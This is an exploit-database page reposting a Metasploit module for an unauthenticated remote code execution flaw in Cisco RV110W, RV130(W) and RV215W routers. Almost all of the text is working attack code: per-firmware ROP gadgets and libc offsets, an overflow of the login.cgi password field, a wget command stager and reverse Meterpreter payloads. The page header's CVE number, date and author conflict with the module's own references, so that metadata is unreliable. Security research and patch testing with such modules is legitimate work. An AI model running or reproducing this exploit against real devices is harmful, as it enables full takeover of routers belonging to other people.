Cisco RV110W / RV130(W) / RV215W Remote Command Execution
CVE
Category
Price
Severity
CVE-2020-3560
CWE-78
Not specified
High
Author
Risk
Exploitation Type
Date
RedTeam Pentesting GmbH
High
Remote
2019-09-03
CPE
cpe:cpe:/h:cisco:small_business_rv_series_firmware
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope S An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019090022 Below is a copy:
Cisco RV110W / RV130(W) / RV215W Remote Command Execution ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# linux/armle/meterpreter/bind_tcp -> segfault
# linux/armle/meterpreter/reverse_tcp -> segfault
# linux/armle/meterpreter_reverse_http -> works
# linux/armle/meterpreter_reverse_https -> works
# linux/armle/meterpreter_reverse_tcp -> works
# linux/armle/shell/bind_tcp -> segfault
# linux/armle/shell/reverse_tcp -> segfault
# linux/armle/shell_bind_tcp -> segfault
# linux/armle/shell_reverse_tcp -> segfault
#
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Deprecated
moved_from 'exploit/linux/http/cisco_rv130_rmi_rce'
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution',
'Description' => %q{
A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall,
Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router
could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.
The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.
A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
system of the affected device as a high-privilege user.
RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected.
RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.
Note: successful exploitation may not result in a session, and as such,
on_new_session will never repair the HTTP server, leading to a denial-of-service condition.
},
'Author' =>
[
'Yu Zhang', # Initial discovery (GeekPwn conference)
'Haoliang Lu', # Initial discovery (GeekPwn conference)
'T. Shiomitsu', # Initial discovery (Pen Test Partners)
'Quentin Kaiser <[email protected] >' # Vulnerability analysis & exploit dev
],
'License' => MSF_LICENSE,
'Platform' => %w[linux],
'Arch' => [ARCH_ARMLE, ARCH_MIPSLE],
'SessionTypes' => %w[meterpreter],
'CmdStagerFlavor' => %w{ wget },
'Privileged' => true, # BusyBox
'References' =>
[
['CVE', '2019-1663'],
['BID', '107185'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'],
['URL', 'https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/']
],
'DefaultOptions' => {
'WfsDelay' => 10,
'SSL' => true,
'RPORT' => 443,
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
},
'Targets' =>
[
[ 'Cisco RV110W 1.1.0.9',
{
'offset' => 69,
'libc_base_addr' => 0x2af06000,
'libcrypto_base_addr' => 0x2ac01000,
'system_offset' => 0x00050d40,
'got_offset' => 0x0009d560,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV110W 1.2.0.9',
{
'offset' => 69,
'libc_base_addr' => 0x2af08000,
'libcrypto_base_addr' => 0x2ac03000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV110W 1.2.0.10',
{
'offset' => 69,
'libc_base_addr' => 0x2af09000,
'libcrypto_base_addr' => 0x2ac04000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV110W 1.2.1.4',
{
'offset' => 69,
'libc_base_addr' => 0x2af54000,
'libcrypto_base_addr' => 0x2ac4f000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV110W 1.2.1.7',
{
'offset' => 69,
'libc_base_addr' => 0x2af98000,
'libcrypto_base_addr' => 0x2ac4f000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV130/RV130W < 1.0.3.45',
{
'offset' => 446,
'libc_base_addr' => 0x357fb000,
'system_offset' => 0x0004d144,
'gadget1' => 0x00020e79, # pop {r2, r6, pc};
'gadget2' => 0x00041308, # mov r0, sp; blx r2;
'Arch' => ARCH_ARMLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
}
},
],
[ 'Cisco RV215W 1.1.0.5',
{
'offset' => 69,
'libc_base_addr' => 0x2af59000,
'libcrypto_base_addr' => 0x2ac54000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.1.0.6',
{
'offset' => 69,
'libc_base_addr' => 0x2af59000,
'libcrypto_base_addr' => 0x2ac54000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.2.0.14',
{
'offset' => 69,
'libc_base_addr' => 0x2af5f000,
'libcrypto_base_addr' => 0x2ac5a001,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.2.0.15',
{
'offset' => 69,
'libc_base_addr' => 0x2af5f000,
'libcrypto_base_addr' => 0x2ac5a000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.3.0.7',
{
'offset' => 77,
'libc_base_addr' => 0x2afeb000,
'libcrypto_base_addr' => 0x2aca5000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x000a0530,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.3.0.8',
{
'offset' => 77,
'libc_base_addr' => 0x2afee000,
'libcrypto_base_addr' => 0x2aca5000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x000a0530,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
],
'DisclosureDate' => 'Feb 27 2019',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN, ],
},
))
end
def p(lib, offset)
[(lib + offset).to_s(16)].pack('H*').reverse
end
def prepare_shellcode(cmd)
case target
# RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7
# RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8
when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11]
shellcode = rand_text_alpha(target['offset']) + # filler
rand_text_alpha(4) + # $s0
rand_text_alpha(4) + # $s1
rand_text_alpha(4) + # $s2
rand_text_alpha(4) + # $s3
p(target['libc_base_addr'], target['system_offset']) + # $s4
rand_text_alpha(4) + # $s5
rand_text_alpha(4) + # $s6
rand_text_alpha(4) + # $s7
rand_text_alpha(4) + # $s8
p(target['libcrypto_base_addr'], target['gadget1']) + # $ra
p(target['libc_base_addr'], target['got_offset']) +
rand_text_alpha(28) +
cmd
shellcode
when targets[5] # RV130/RV130W
shellcode = rand_text_alpha(target['offset']) + # filler
p(target['libc_base_addr'], target['gadget1']) +
p(target['libc_base_addr'], target['system_offset']) + # r2
rand_text_alpha(4) + # r6
p(target['libc_base_addr'], target['gadget2']) + # pc
cmd
shellcode
end
end
def send_request(buffer)
begin
send_request_cgi({
'uri' => '/login.cgi',
'method' => 'POST',
'vars_post' => {
"submit_button": "login",
"submit_type": "",
"gui_action": "",
"wait_time": 0,
"change_action": "",
"enc": 1,
"user": rand_text_alpha_lower(5),
"pwd": buffer,
"sel_lang": "EN"
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
end
end
def check
# We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users.
# We use lang_pack/EN.js because it's the one file that changes the most between versions.
# Note that it's not a smoking gun given that some branches keep the exact same files in /www
# (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x)
fingerprints = {
"69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => {
"version" => "Cisco RV110W 1.1.0.9",
"status" =>Exploit::CheckCode::Vulnerable
},
"8d3b677d870425198f7fae94d6cfe262551aa8bd" => {
"version" => "Cisco RV110W 1.2.0.9",
"status" => Exploit::CheckCode::Vulnerable
},
"134ee643ec877641030211193a43cc5e93c96a06" => {
"version" => "Cisco RV110W 1.2.0.10",
"status" => Exploit::CheckCode::Vulnerable
},
"e3b2ec9d099a3e3468f8437e5247723643ff830e" => {
"version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)",
"status" => Exploit::CheckCode::Unknown
},
"6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => {
"version" => "Cisco RV130/RV130W 1.0.0.21",
"status" => Exploit::CheckCode::Vulnerable
},
"9b1a87b752d11c5ba97dd80d6bae415532615266" => {
"version" => "Cisco RV130/RV130W 1.0.1.3",
"status" => Exploit::CheckCode::Vulnerable
},
"9b6399842ef69cf94409b65c4c61017c862b9d09" => {
"version" => "Cisco RV130/RV130W 1.0.2.7",
"status" => Exploit::CheckCode::Vulnerable
},
"8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => {
"version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16",
"status" => Exploit::CheckCode::Vulnerable
},
"8c8e05de96810a02344d96588c09b21c491ede2d" => {
"version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)",
"status" => Exploit::CheckCode::Unknown
},
"2f29a0dfa78063d643eb17388e27d3f804ff6765" => {
"version" => "Cisco RV215W 1.1.0.5",
"status" => Exploit::CheckCode::Vulnerable
},
"e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => {
"version" => "Cisco RV215W 1.1.0.6",
"status" => Exploit::CheckCode::Vulnerable
},
"7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => {
"version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15",
"status" => Exploit::CheckCode::Vulnerable
},
"050d47ea944eaeadaec08945741e8e380f796741" => {
"version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)",
"status" => Exploit::CheckCode::Unknown
}
}
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'lang_pack/EN.js')
})
if res && res.code == 200
fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}")
if fingerprints.key?(fingerprint)
print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}")
return fingerprints[fingerprint]["status"]
else
print_status("Couldn't reliably fingerprint the target.")
end
end
Exploit::CheckCode::Unknown
end
def exploit
print_status('Sending request')
execute_cmdstager
end
def execute_command(cmd, opts = {})
shellcode = prepare_shellcode(cmd.to_s)
send_request(shellcode)
end
def on_new_session(session)
# Given there is no process continuation here, the httpd server will stop
# functioning properly and we need to take care of proper restart
# ourselves.
print_status("Reloading httpd service")
reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\""
else
session.shell_command(reload_httpd_service)
end
ensure
super
end
end
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